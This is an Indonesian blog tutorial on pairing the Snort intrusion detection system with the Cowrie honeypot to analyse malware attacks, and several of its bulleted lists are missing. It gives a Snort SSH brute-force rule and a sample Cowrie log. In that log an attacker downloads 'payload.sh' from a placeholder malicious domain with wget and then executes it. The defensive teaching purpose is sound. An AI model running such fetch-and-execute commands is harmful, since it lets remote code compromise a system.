on
Trik Jitu
- Get link
- X
- Other Apps
Kombinasi
Snort dan Cowrie memungkinkan analisis serangan dilakukan secara komprehensif
baik dari sisi jaringan maupun sisi interaksi penyerang, sehingga sangat
efektif dalam memahami pola serangan malware modern.
2. Snort sebagai Sistem Deteksi Intrusi (NIDS)
2.1 Pengertian Snort
Snort
adalah aplikasi NIDS open-source yang mampu:
2.2 Cara Kerja Snort
Snort
bekerja dengan tiga komponen utama:
2.3 Peran Snort dalam Analisis Malware
Dalam
konteks analisis malware, Snort digunakan untuk:
Contoh
rule sederhana untuk mendeteksi akses SSH mencurigakan:
Plain Text
snort isn’t fully supported.
Syntax highlighting is based on Plain Text.
alert tcp any any -> any 22
(msg:"Possible SSH Brute Force"; flow:to_server; detection_filter:
track by_src, count 5, seconds 60; sid:100001;)
Show more lines
Rule
tersebut akan memicu alert jika terdapat percobaan login SSH berulang dari
sumber yang sama.
3. Honeypot Cowrie sebagai Simulasi Sistem Rentan
3.1 Pengertian Cowrie
Cowrie
adalah honeypot tingkat tinggi yang mensimulasikan layanan:
Tujuan
utamanya adalah:
3.2 Cara Kerja Cowrie
Cowrie
bekerja sebagai sistem tiruan. Saat penyerang berhasil “login”, mereka tidak
mengetahui bahwa:
Cowrie
dapat mencatat:
4. Integrasi Snort dan Cowrie untuk Analisis
Serangan Malware
4.1 Alur Integrasi
5. Contoh Analisis Serangan Malware
5.1 Tahap 1: Deteksi Aktivitas oleh Snort
Contoh
alert Snort:
[**] [1:100001:1] Possible SSH Brute Force [**]
04/10-15:23:11.245678 192.168.1.50:44562 ->
10.0.0.20:22
Dari
alert tersebut dapat diketahui:
5.2 Tahap 2: Interaksi Penyerang dengan Cowrie
Log
Cowrie biasanya menunjukkan:
Contoh
cuplikan log:
CMD: wget http://malicious-domain.xyz/payload.sh
CMD: chmod +x payload.sh
CMD: ./payload.sh
5.3 Tahap 3: Analisis Malware
File payload.sh
dapat diperiksa:
Analisis
statis dan dinamis dapat dilakukan menggunakan:
6. Manfaat Penggunaan Snort + Cowrie
Keunggulan utama kombinasi ini:
7. Kesimpulan
Penggunaan
Snort dan honeypot Cowrie secara terintegrasi memberikan pendekatan efektif
untuk menganalisis serangan malware. Snort berfungsi sebagai sistem deteksi
jaringan yang mampu mencatat aktivitas mencurigakan, sementara Cowrie menangkap
interaksi penyerang dan file berbahaya secara detail. Dengan memadukan log
kedua sistem, analis keamanan dapat memahami strategi penyerang, jenis malware
yang digunakan, serta melakukan mitigasi yang lebih tepat terhadap ancaman serupa
di masa depan.
Comments
Post a Comment